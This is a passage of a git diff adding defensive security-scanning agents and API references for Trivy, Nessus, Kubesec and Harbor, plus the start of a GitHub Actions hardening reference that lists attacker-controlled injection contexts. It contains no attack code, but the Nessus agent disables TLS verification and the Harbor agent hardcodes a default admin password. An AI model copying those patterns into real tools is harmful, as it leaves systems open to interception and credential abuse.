Fail on critical | +| `trivy image --list-all-pkgs` | List all detected packages | + +## Vulnerability Database Sources + +| Source | Coverage | +|--------|----------| +| NVD | All ecosystems | +| GitHub Advisory Database | Open source packages | +| Alpine SecDB | Alpine Linux | +| Debian Security Tracker | Debian packages | +| Red Hat Security Data | RHEL/CentOS | +| Ubuntu CVE Tracker | Ubuntu packages | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute trivy CLI | +| `json` | stdlib | Parse scan results | +| `pathlib` | stdlib | File path handling | + +## References + +- Trivy Documentation: https://trivy.dev/docs/ +- Trivy GitHub: https://github.com/aquasecurity/trivy +- Aqua Security: https://www.aquasec.com/products/trivy/ diff --git a/skills/scanning-docker-images-with-trivy/scripts/agent.py b/skills/scanning-docker-images-with-trivy/scripts/agent.py new file mode 100644 index 00000000..896c5c25 --- /dev/null +++ b/skills/scanning-docker-images-with-trivy/scripts/agent.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""Agent for scanning Docker images with Trivy. + +Performs comprehensive vulnerability scanning of Docker images +including OS packages, language dependencies, misconfigurations, +secrets, and license compliance using Trivy CLI. +""" + +import json +import subprocess +import sys +from pathlib import Path +from datetime import datetime + + +class TrivyDockerAgent: + """Scans Docker images using Trivy for vulnerabilities and misconfigs.""" + + def __init__(self, output_dir="./trivy_docker"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.scan_results = [] + + def _run(self, cmd, timeout=300): + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return result.stdout, result.stderr, result.returncode + except FileNotFoundError: + return "", "trivy not found", -1 + except subprocess.TimeoutExpired: + return "", "timeout", -2 + + def scan_image(self, image_ref, scanners="vuln", severity=None, + ignore_unfixed=False): + """Scan a Docker image with specified scanners.""" + cmd = ["trivy", "image", "--format", "json", "--quiet", + "--scanners", scanners] + if severity: + cmd.extend(["--severity", severity]) + if ignore_unfixed: + cmd.append("--ignore-unfixed") + cmd.append(image_ref) + + stdout, stderr, rc = self._run(cmd) + if rc < 0: + return {"error": stderr} + + try: + raw = json.loads(stdout) if stdout.strip() else {} + except json.JSONDecodeError: + return {"error": "Failed to parse trivy output"} + + vulns = [] + misconfigs = [] + secrets = [] + for result in raw.get("Results", []): + target = result.get("Target", "") + for v in result.get("Vulnerabilities", []): + vulns.append({ + "id": v.get("VulnerabilityID"), + "severity": v.get("Severity"), + "package": v.get("PkgName"), + "installed": v.get("InstalledVersion"), + "fixed": v.get("FixedVersion", ""), + "target": target, + }) + for mc in result.get("Misconfigurations", []): + misconfigs.append({ + "id": mc.get("ID"), + "severity": mc.get("Severity"), + "title": mc.get("Title"), + "target": target, + }) + for s in result.get("Secrets", []): + secrets.append({ + "rule_id": s.get("RuleID"), + "severity": s.get("Severity"), + "title": s.get("Title"), + "target": target, + }) + + summary = {} + for v in vulns: + sev = v["severity"] or "UNKNOWN" + summary[sev] = summary.get(sev, 0) + 1 + + scan = { + "image": image_ref, + "scan_date": datetime.utcnow().isoformat(), + "scanners": scanners, + "vulnerability_count": len(vulns), + "misconfig_count": len(misconfigs), + "secret_count": len(secrets), + "severity_summary": summary, + "vulnerabilities": vulns, + "misconfigurations": misconfigs, + "secrets": secrets, + } + self.scan_results.append(scan) + return scan + + def scan_tar(self, tar_path, severity=None): + """Scan a saved Docker image tar archive.""" + cmd = ["trivy", "image", "--format", "json", "--quiet", + "--input", tar_path] + if severity: + cmd.extend(["--severity", severity]) + stdout, stderr, rc = self._run(cmd) + if rc < 0: + return {"error": stderr} + try: + return json.loads(stdout) if stdout.strip() else {} + except json.JSONDecodeError: + return {"error": "Parse error"} + + def generate_sbom(self, image_ref, fmt="cyclonedx"): + """Generate SBOM for image in CycloneDX or SPDX format.""" + trivy_fmt = "cyclonedx" if fmt == "cyclonedx" else "spdx-json" + ext = "cdx" if fmt == "cyclonedx" else "spdx" + out_file = self.output_dir / f"sbom.{ext}.json" + cmd = ["trivy", "image", "--format", trivy_fmt, + "--output", str(out_file), image_ref] + _, stderr, rc = self._run(cmd) + if rc == 0: + return {"sbom_path": str(out_file), "format": fmt} + return {"error": stderr} + + def check_version(self): + """Return Trivy version info.""" + stdout, _, _ = self._run(["trivy", "version"], timeout=15) + return {"version": stdout.strip()} + + def generate_report(self): + report = { + "report_date": datetime.utcnow().isoformat(), + "images_scanned": len(self.scan_results), + "scans": self.scan_results, + } + out = self.output_dir / "trivy_docker_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--scanners vuln,misconfig,secret]") + sys.exit(1) + + image = sys.argv[1] + scanners = "vuln" + if "--scanners" in sys.argv: + idx = sys.argv.index("--scanners") + if idx + 1 < len(sys.argv): + scanners = sys.argv[idx + 1] + + agent = TrivyDockerAgent() + agent.scan_image(image, scanners=scanners) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-infrastructure-with-nessus/LICENSE b/skills/scanning-infrastructure-with-nessus/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-infrastructure-with-nessus/LICENSE +++ b/skills/scanning-infrastructure-with-nessus/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/scanning-infrastructure-with-nessus/references/api-reference.md b/skills/scanning-infrastructure-with-nessus/references/api-reference.md new file mode 100644 index 00000000..1ca96df6 --- /dev/null +++ b/skills/scanning-infrastructure-with-nessus/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Scanning Infrastructure with Nessus + +## Nessus REST API Endpoints + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `/session` | Authenticate and get token | +| GET | `/scans` | List all scans | +| POST | `/scans` | Create new scan | +| POST | `/scans/{id}/launch` | Launch a scan | +| GET | `/scans/{id}` | Get scan results | +| POST | `/scans/{id}/export` | Export scan results | +| GET | `/scans/{id}/export/{fid}/status` | Check export status | +| GET | `/scans/{id}/hosts/{hid}` | Get host details | + +## Scan Types + +| Type | Template UUID | Use Case | +|------|--------------|----------| +| Basic Network Scan | `ab4bacd2-...` | Standard vulnerability scan | +| Advanced Scan | `ad629e16-...` | Custom plugin selection | +| Credentialed Patch Audit | `0c3a6b1f-...` | Authenticated patch check | +| Web Application Tests | `1c35d5a5-...` | Web vulnerability scan | +| Compliance Audit | `bbd4f805-...` | CIS/STIG/PCI checks | + +## Severity Levels + +| Level | Value | CVSS Range | SLA | +|-------|-------|-----------|-----| +| Critical | 4 | 9.0 - 10.0 | Immediate | +| High | 3 | 7.0 - 8.9 | 7-14 days | +| Medium | 2 | 4.0 - 6.9 | 30 days | +| Low | 1 | 0.1 - 3.9 | Next window | +| Info | 0 | N/A | No action | + +## Export Formats + +| Format | Description | +|--------|-------------| +| `nessus` | XML format for import into other tools | +| `csv` | Comma-separated for spreadsheet analysis | +| `html` | Human-readable HTML report | +| `pdf` | Formatted PDF report | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Nessus REST API calls | +| `json` | stdlib | Parse API responses | +| `urllib3` | >=1.26 | SSL warning suppression | + +## References + +- Nessus REST API: https://developer.tenable.com/reference/navigate +- Tenable Documentation: https://docs.tenable.com/nessus/ +- Nessus CLI: https://docs.tenable.com/nessus/Content/NessusCLI.htm diff --git a/skills/scanning-infrastructure-with-nessus/scripts/agent.py b/skills/scanning-infrastructure-with-nessus/scripts/agent.py new file mode 100644 index 00000000..aee4b5d6 --- /dev/null +++ b/skills/scanning-infrastructure-with-nessus/scripts/agent.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +"""Agent for scanning infrastructure with Tenable Nessus. + +Interacts with the Nessus REST API to create scan policies, +launch scans, monitor progress, retrieve results, and generate +vulnerability reports with severity-based prioritization. +""" + +import json +import sys +import time +import urllib3 +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +class NessusScanAgent: + """Manages Nessus vulnerability scans via REST API.""" + + def __init__(self, host="https://localhost:8834", username="admin", + password="", output_dir="./nessus_scan"): + self.base_url = host.rstrip("/") + self.username = username + self.password = password + self.token = None + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + + def _req(self, method, path, data=None): + """Make authenticated request to Nessus API.""" + if not requests: + return {"error": "requests library required: pip install requests"} + headers = {"Content-Type": "application/json"} + if self.token: + headers["X-Cookie"] = f"token={self.token}" + url = f"{self.base_url}{path}" + resp = requests.request(method, url, json=data, headers=headers, + verify=False, timeout=30) + try: + return resp.json() + except (json.JSONDecodeError, ValueError): + return {"status_code": resp.status_code, "text": resp.text[:200]} + + def authenticate(self): + """Authenticate and obtain session token.""" + result = self._req("POST", "/session", + {"username": self.username, "password": self.password}) + self.token = result.get("token") + return bool(self.token) + + def list_scans(self): + """List all configured scans.""" + result = self._req("GET", "/scans") + scans = [] + for s in result.get("scans", []): + scans.append({ + "id": s.get("id"), + "name": s.get("name"), + "status": s.get("status"), + "last_modification_date": s.get("last_modification_date"), + }) + return scans + + def create_scan(self, name, targets, template_uuid=None): + """Create a new scan configuration.""" + data = { + "uuid": template_uuid or "ab4bacd2-05f6-425c-9d79-3f5a0a1f28b0", + "settings": { + "name": name, + "text_targets": targets, + "enabled": True, + "launch": "ON_DEMAND", + }, + } + return self._req("POST", "/scans", data) + + def launch_scan(self, scan_id): + """Launch a configured scan.""" + return self._req("POST", f"/scans/{scan_id}/launch") + + def get_scan_status(self, scan_id): + """Get current scan status.""" + result = self._req("GET", f"/scans/{scan_id}") + info = result.get("info", {}) + return { + "status": info.get("status"), + "host_count": info.get("hostcount", 0), + "name": info.get("name"), + } + + def get_scan_results(self, scan_id): + """Retrieve scan results with vulnerability details.""" + result = self._req("GET", f"/scans/{scan_id}") + hosts = [] + for h in result.get("hosts", []): + hosts.append({ + "hostname": h.get("hostname"), + "host_id": h.get("host_id"), + "critical": h.get("critical", 0), + "high": h.get("high", 0), + "medium": h.get("medium", 0), + "low": h.get("low", 0), + "info": h.get("info", 0), + }) + + vulns = [] + for v in result.get("vulnerabilities", []): + vulns.append({ + "plugin_id": v.get("plugin_id"), + "plugin_name": v.get("plugin_name"), + "severity": v.get("severity"), + "count": v.get("count", 0), + "family": v.get("plugin_family"), + }) + + return { + "scan_id": scan_id, + "hosts": hosts, + "vulnerabilities": sorted(vulns, key=lambda x: x.get("severity", 0), reverse=True), + "total_vulns": len(vulns), + } + + def export_scan(self, scan_id, fmt="nessus"): + """Export scan results in specified format.""" + result = self._req("POST", f"/scans/{scan_id}/export", {"format": fmt}) + file_id = result.get("file") + if not file_id: + return {"error": "Export failed"} + + for _ in range(60): + status = self._req("GET", f"/scans/{scan_id}/export/{file_id}/status") + if status.get("status") == "ready": + break + time.sleep(5) + + return {"file_id": file_id, "format": fmt, "status": "ready"} + + def generate_report(self, scan_id): + results = self.get_scan_results(scan_id) + report = { + "report_date": datetime.utcnow().isoformat(), + "scan_id": scan_id, + "results": results, + } + out = self.output_dir / "nessus_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [--user admin] [--pass password]") + sys.exit(1) + + host = sys.argv[1] + scan_id = int(sys.argv[2]) + user = "admin" + password = "" + if "--user" in sys.argv: + user = sys.argv[sys.argv.index("--user") + 1] + if "--pass" in sys.argv: + password = sys.argv[sys.argv.index("--pass") + 1] + + agent = NessusScanAgent(host, user, password) + if agent.authenticate(): + agent.generate_report(scan_id) + else: + print("Authentication failed") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE b/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE +++ b/skills/scanning-kubernetes-manifests-with-kubesec/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md b/skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md new file mode 100644 index 00000000..c9d6aa63 --- /dev/null +++ b/skills/scanning-kubernetes-manifests-with-kubesec/references/api-reference.md @@ -0,0 +1,53 @@ +# API Reference: Scanning Kubernetes Manifests with Kubesec + +## Kubesec CLI Commands + +| Command | Description | +|---------|-------------| +| `kubesec scan ` | Scan a manifest file | +| `kubesec scan -o json ` | JSON output | +| `kubesec http --port 8080` | Start local API server | +| `kubesec version` | Show version info | + +## Kubesec HTTP API + +| Method | Endpoint | Description | +|--------|----------|-------------| +| POST | `https://v2.kubesec.io/scan` | Public scan API | +| POST | `http://localhost:8080/scan` | Local scan API | + +## Critical Checks (Negative Score) + +| Check | Selector | Risk | +|-------|----------|------| +| Privileged | `securityContext.privileged == true` | Full host access | +| HostPID | `spec.hostPID == true` | Process namespace escape | +| HostNetwork | `spec.hostNetwork == true` | Network namespace escape | +| SYS_ADMIN | `capabilities.add contains SYS_ADMIN` | Near-root capability | + +## Best Practice Checks (Positive Score) + +| Check | Points | Description | +|-------|--------|-------------| +| ReadOnlyRootFilesystem | +1 | Prevents filesystem writes | +| RunAsNonRoot | +1 | Non-root execution | +| RunAsUser > 10000 | +1 | High UID | +| LimitsCPU | +1 | CPU limits set | +| LimitsMemory | +1 | Memory limits set | +| ServiceAccountName | +3 | Explicit service account | +| AppArmor annotation | +3 | MAC enforcement | +| Seccomp profile | +4 | Syscall filtering | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute kubesec CLI | +| `requests` | >=2.28 | HTTP API fallback | +| `json` | stdlib | Parse scan results | + +## References + +- Kubesec GitHub: https://github.com/controlplaneio/kubesec +- Kubesec Online: https://kubesec.io/ +- CIS Kubernetes Benchmark: https://www.cisecurity.org/benchmark/kubernetes diff --git a/skills/scanning-kubernetes-manifests-with-kubesec/scripts/agent.py b/skills/scanning-kubernetes-manifests-with-kubesec/scripts/agent.py new file mode 100644 index 00000000..3cd790d1 --- /dev/null +++ b/skills/scanning-kubernetes-manifests-with-kubesec/scripts/agent.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python3 +"""Agent for scanning Kubernetes manifests with Kubesec. + +Runs Kubesec security risk analysis on K8s manifests, evaluates +security scores, identifies critical misconfigurations, and +enforces security baselines in CI/CD pipelines. +""" + +import json +import subprocess +import sys +from pathlib import Path +from datetime import datetime + + +class KubesecScanAgent: + """Scans Kubernetes manifests using Kubesec for security risks.""" + + def __init__(self, output_dir="./kubesec_scan"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.scan_results = [] + + def scan_manifest(self, manifest_path): + """Scan a single Kubernetes manifest file.""" + cmd = ["kubesec", "scan", manifest_path] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + parsed = json.loads(result.stdout) if result.stdout.strip() else [] + except FileNotFoundError: + return self._scan_via_api(manifest_path) + except (subprocess.TimeoutExpired, json.JSONDecodeError): + return {"error": "Kubesec scan failed", "file": manifest_path} + + findings = [] + for item in parsed: + findings.append({ + "object": item.get("object", ""), + "score": item.get("score", 0), + "message": item.get("message", ""), + "passed": [p.get("id") for p in item.get("scoring", {}).get("passed", [])], + "advise": [ + {"id": a.get("id"), "reason": a.get("reason"), "points": a.get("points")} + for a in item.get("scoring", {}).get("advise", []) + ], + "critical": [ + {"id": c.get("id"), "reason": c.get("reason")} + for c in item.get("scoring", {}).get("critical", []) + ], + }) + + scan = { + "file": manifest_path, + "scan_date": datetime.utcnow().isoformat(), + "findings": findings, + } + self.scan_results.append(scan) + return scan + + def _scan_via_api(self, manifest_path): + """Fallback: scan via Kubesec public HTTP API.""" + try: + import requests + with open(manifest_path, "rb") as f: + resp = requests.post("https://v2.kubesec.io/scan", + data=f.read(), timeout=30) + parsed = resp.json() + findings = [] + for item in parsed: + findings.append({ + "object": item.get("object", ""), + "score": item.get("score", 0), + "message": item.get("message", ""), + "passed": [p.get("id") for p in item.get("scoring", {}).get("passed", [])], + "advise": [ + {"id": a.get("id"), "reason": a.get("reason"), "points": a.get("points")} + for a in item.get("scoring", {}).get("advise", []) + ], + "critical": [ + {"id": c.get("id"), "reason": c.get("reason")} + for c in item.get("scoring", {}).get("critical", []) + ], + }) + scan = {"file": manifest_path, "scan_date": datetime.utcnow().isoformat(), "findings": findings} + self.scan_results.append(scan) + return scan + except Exception as e: + return {"error": f"API scan failed: {e}", "file": manifest_path} + + def scan_directory(self, dir_path): + """Scan all YAML files in a directory.""" + p = Path(dir_path) + results = [] + for f in sorted(p.glob("*.yaml")) + sorted(p.glob("*.yml")): + results.append(self.scan_manifest(str(f))) + return results + + def enforce_score_threshold(self, min_score=0): + """Check if any manifests fail the minimum score threshold.""" + failures = [] + for scan in self.scan_results: + for finding in scan.get("findings", []): + if finding.get("score", 0) < min_score: + failures.append({ + "file": scan["file"], + "object": finding["object"], + "score": finding["score"], + }) + if finding.get("critical"): + failures.append({ + "file": scan["file"], + "object": finding["object"], + "critical_issues": finding["critical"], + }) + return {"gate": "FAILED" if failures else "PASSED", "failures": failures} + + def generate_report(self): + gate = self.enforce_score_threshold(min_score=0) + report = { + "report_date": datetime.utcnow().isoformat(), + "manifests_scanned": len(self.scan_results), + "scans": self.scan_results, + "quality_gate": gate, + } + out = self.output_dir / "kubesec_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--min-score 0]") + sys.exit(1) + + target = sys.argv[1] + min_score = 0 + if "--min-score" in sys.argv: + min_score = int(sys.argv[sys.argv.index("--min-score") + 1]) + + agent = KubesecScanAgent() + if Path(target).is_dir(): + agent.scan_directory(target) + else: + agent.scan_manifest(target) + + report = agent.generate_report() + gate = agent.enforce_score_threshold(min_score) + if gate["gate"] == "FAILED": + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/scanning-network-with-nmap-advanced/LICENSE b/skills/scanning-network-with-nmap-advanced/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/scanning-network-with-nmap-advanced/LICENSE +++ b/skills/scanning-network-with-nmap-advanced/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-api-gateway-with-aws-waf/LICENSE b/skills/securing-api-gateway-with-aws-waf/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-api-gateway-with-aws-waf/LICENSE +++ b/skills/securing-api-gateway-with-aws-waf/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-aws-iam-permissions/LICENSE b/skills/securing-aws-iam-permissions/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-aws-iam-permissions/LICENSE +++ b/skills/securing-aws-iam-permissions/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-aws-lambda-execution-roles/LICENSE b/skills/securing-aws-lambda-execution-roles/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-aws-lambda-execution-roles/LICENSE +++ b/skills/securing-aws-lambda-execution-roles/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-azure-with-microsoft-defender/LICENSE b/skills/securing-azure-with-microsoft-defender/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-azure-with-microsoft-defender/LICENSE +++ b/skills/securing-azure-with-microsoft-defender/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-container-registry-images/LICENSE b/skills/securing-container-registry-images/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-container-registry-images/LICENSE +++ b/skills/securing-container-registry-images/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-container-registry-with-harbor/LICENSE b/skills/securing-container-registry-with-harbor/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-container-registry-with-harbor/LICENSE +++ b/skills/securing-container-registry-with-harbor/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-container-registry-with-harbor/references/api-reference.md b/skills/securing-container-registry-with-harbor/references/api-reference.md new file mode 100644 index 00000000..71d73cf4 --- /dev/null +++ b/skills/securing-container-registry-with-harbor/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Securing Container Registry with Harbor + +## Harbor REST API v2.0 + +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/api/v2.0/projects` | List all projects | +| PUT | `/api/v2.0/projects/{name}` | Update project settings | +| GET | `/api/v2.0/configurations` | Get system config | +| PUT | `/api/v2.0/configurations` | Update system config | +| GET | `/api/v2.0/projects/{name}/members` | List project members | +| POST | `/api/v2.0/projects/{name}/members` | Add member | +| GET | `/api/v2.0/projects/{name}/immutabletagrules` | List tag rules | +| GET | `/api/v2.0/audit-logs` | Get audit logs | +| GET | `/api/v2.0/projects/{name}/repositories/{repo}/artifacts/{ref}/additions/vulnerabilities` | Get scan results | + +## Harbor Roles + +| Role ID | Name | Permissions | +|---------|------|------------| +| 1 | ProjectAdmin | Full project control | +| 2 | Maintainer | Push/pull/scan/sign | +| 3 | Developer | Push and pull images | +| 4 | Guest | Pull images only | +| 5 | LimitedGuest | Pull specific repos | + +## Security Metadata Fields + +| Field | Values | Description | +|-------|--------|-------------| +| `auto_scan` | true/false | Scan images on push | +| `prevent_vul` | true/false | Block vulnerable images | +| `severity` | critical/high/medium | Block threshold | +| `enable_content_trust` | true/false | Notary signing | +| `enable_content_trust_cosign` | true/false | Cosign verification | +| `public` | true/false | Public project access | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | Harbor REST API calls | +| `json` | stdlib | Parse API responses | + +## References + +- Harbor Documentation: https://goharbor.io/docs/ +- Harbor API Spec: https://editor.swagger.io/?url=https://raw.githubusercontent.com/goharbor/harbor/main/api/v2.0/swagger.yaml +- Harbor GitHub: https://github.com/goharbor/harbor diff --git a/skills/securing-container-registry-with-harbor/scripts/agent.py b/skills/securing-container-registry-with-harbor/scripts/agent.py new file mode 100644 index 00000000..65a4abcd --- /dev/null +++ b/skills/securing-container-registry-with-harbor/scripts/agent.py @@ -0,0 +1,184 @@ +#!/usr/bin/env python3 +"""Agent for securing container registry with Harbor. + +Audits Harbor registry security configuration including RBAC, +vulnerability scanning policies, content trust, immutable tags, +and OIDC authentication via Harbor REST API v2.0. +""" + +import json +import sys +import base64 +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class HarborSecurityAgent: + """Audits and hardens Harbor container registry security.""" + + def __init__(self, harbor_url, username="admin", password="", + output_dir="./harbor_audit"): + self.base_url = harbor_url.rstrip("/") + "/api/v2.0" + self.auth = (username, password) + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, path, params=None): + if not requests: + return {"error": "requests library required"} + resp = requests.get(f"{self.base_url}{path}", auth=self.auth, + params=params, verify=True, timeout=15) + try: + return resp.json() + except (json.JSONDecodeError, ValueError): + return {"status": resp.status_code} + + def audit_projects(self): + """Audit all projects for security configuration.""" + projects = self._get("/projects", {"page_size": 100}) + if isinstance(projects, dict) and "error" in projects: + return projects + + results = [] + for p in projects: + meta = p.get("metadata", {}) + name = p.get("name", "") + issues = [] + + if meta.get("public") == "true": + issues.append("Project is public - images accessible without auth") + if meta.get("auto_scan") != "true": + issues.append("Auto-scan on push not enabled") + if meta.get("prevent_vul") != "true": + issues.append("Vulnerability prevention not enabled") + if meta.get("enable_content_trust") != "true": + issues.append("Content trust (Notary) not enabled") + if meta.get("enable_content_trust_cosign") != "true": + issues.append("Cosign content trust not enabled") + + for issue in issues: + self.findings.append({ + "severity": "high" if "public" in issue or "prevent_vul" in issue else "medium", + "project": name, + "issue": issue, + }) + + results.append({ + "name": name, + "public": meta.get("public"), + "auto_scan": meta.get("auto_scan"), + "prevent_vul": meta.get("prevent_vul"), + "content_trust": meta.get("enable_content_trust"), + "cosign": meta.get("enable_content_trust_cosign"), + "issues": issues, + }) + return results + + def audit_system_config(self): + """Check system-level security configuration.""" + config = self._get("/configurations") + if isinstance(config, dict) and "error" in config: + return config + + checks = [] + auth_mode = config.get("auth_mode", {}).get("value", "db_auth") + if auth_mode == "db_auth": + self.findings.append({ + "severity": "medium", + "issue": "Using local database auth instead of OIDC/LDAP", + }) + checks.append({"check": "auth_mode", "value": auth_mode, "status": "WARN"}) + else: + checks.append({"check": "auth_mode", "value": auth_mode, "status": "OK"}) + + self_reg = config.get("self_registration", {}).get("value", True) + if self_reg: + self.findings.append({ + "severity": "high", + "issue": "Self-registration enabled - anyone can create accounts", + }) + checks.append({"check": "self_registration", "value": self_reg, + "status": "FAIL" if self_reg else "OK"}) + + return checks + + def list_project_members(self, project_name): + """List members and their roles for a project.""" + members = self._get(f"/projects/{project_name}/members") + if isinstance(members, dict) and "error" in members: + return members + role_map = {1: "ProjectAdmin", 2: "Maintainer", 3: "Developer", + 4: "Guest", 5: "LimitedGuest"} + return [ + {"username": m.get("entity_name", ""), "role": role_map.get(m.get("role_id"), "Unknown")} + for m in (members if isinstance(members, list) else []) + ] + + def check_immutable_tags(self, project_name): + """Check immutable tag rules for a project.""" + rules = self._get(f"/projects/{project_name}/immutabletagrules") + if not rules or (isinstance(rules, dict) and "error" in rules): + self.findings.append({ + "severity": "medium", + "project": project_name, + "issue": "No immutable tag rules configured", + }) + return [] + return rules + + def audit_logs(self, page_size=20): + """Retrieve recent audit log entries.""" + logs = self._get("/audit-logs", {"page_size": page_size}) + if isinstance(logs, dict) and "error" in logs: + return logs + return [ + {"operation": l.get("operation"), "resource": l.get("resource"), + "username": l.get("username"), "time": l.get("op_time")} + for l in (logs if isinstance(logs, list) else []) + ] + + def generate_report(self): + projects = self.audit_projects() + sys_config = self.audit_system_config() + + report = { + "report_date": datetime.utcnow().isoformat(), + "harbor_url": self.base_url.replace("/api/v2.0", ""), + "projects_audited": len(projects) if isinstance(projects, list) else 0, + "system_config": sys_config, + "projects": projects, + "findings": self.findings, + "finding_count": len(self.findings), + } + out = self.output_dir / "harbor_audit_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--user admin] [--pass Harbor12345]") + sys.exit(1) + + url = sys.argv[1] + user = "admin" + password = "Harbor12345" + if "--user" in sys.argv: + user = sys.argv[sys.argv.index("--user") + 1] + if "--pass" in sys.argv: + password = sys.argv[sys.argv.index("--pass") + 1] + + agent = HarborSecurityAgent(url, user, password) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/securing-github-actions-workflows/LICENSE b/skills/securing-github-actions-workflows/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/securing-github-actions-workflows/LICENSE +++ b/skills/securing-github-actions-workflows/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/securing-github-actions-workflows/references/api-reference.md b/skills/securing-github-actions-workflows/references/api-reference.md new file mode 100644 index 00000000..d3623d16 --- /dev/null +++ b/skills/securing-github-actions-workflows/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Securing GitHub Actions Workflows + +## Security Checks + +| Check | Risk | Severity | +|-------|------|----------| +| Unpinned actions (mutable tags) | Supply chain attack via tag overwrite | Medium | +| Missing permissions block | Inherits overly broad defaults | Medium | +| write-all permissions | Excessive token scope | High | +| Script injection in run steps | Code execution via PR title/body | High | +| pull_request_target trigger | Fork code runs with base permissions | High | +| Secrets in workflow logs | Credential exposure | Critical | + +## Dangerous Expression Contexts + +| Context | Risk | +|---------|------| +| `github.event.pull_request.title` | Attacker-controlled PR title | +| `github.event.pull_request.body` | Attacker-controlled PR body | +| `github.event.issue.title` | Attacker-controlled issue title | +| `github.event.comment.body` | Attacker-controlled comment | +| `github.head_ref` | 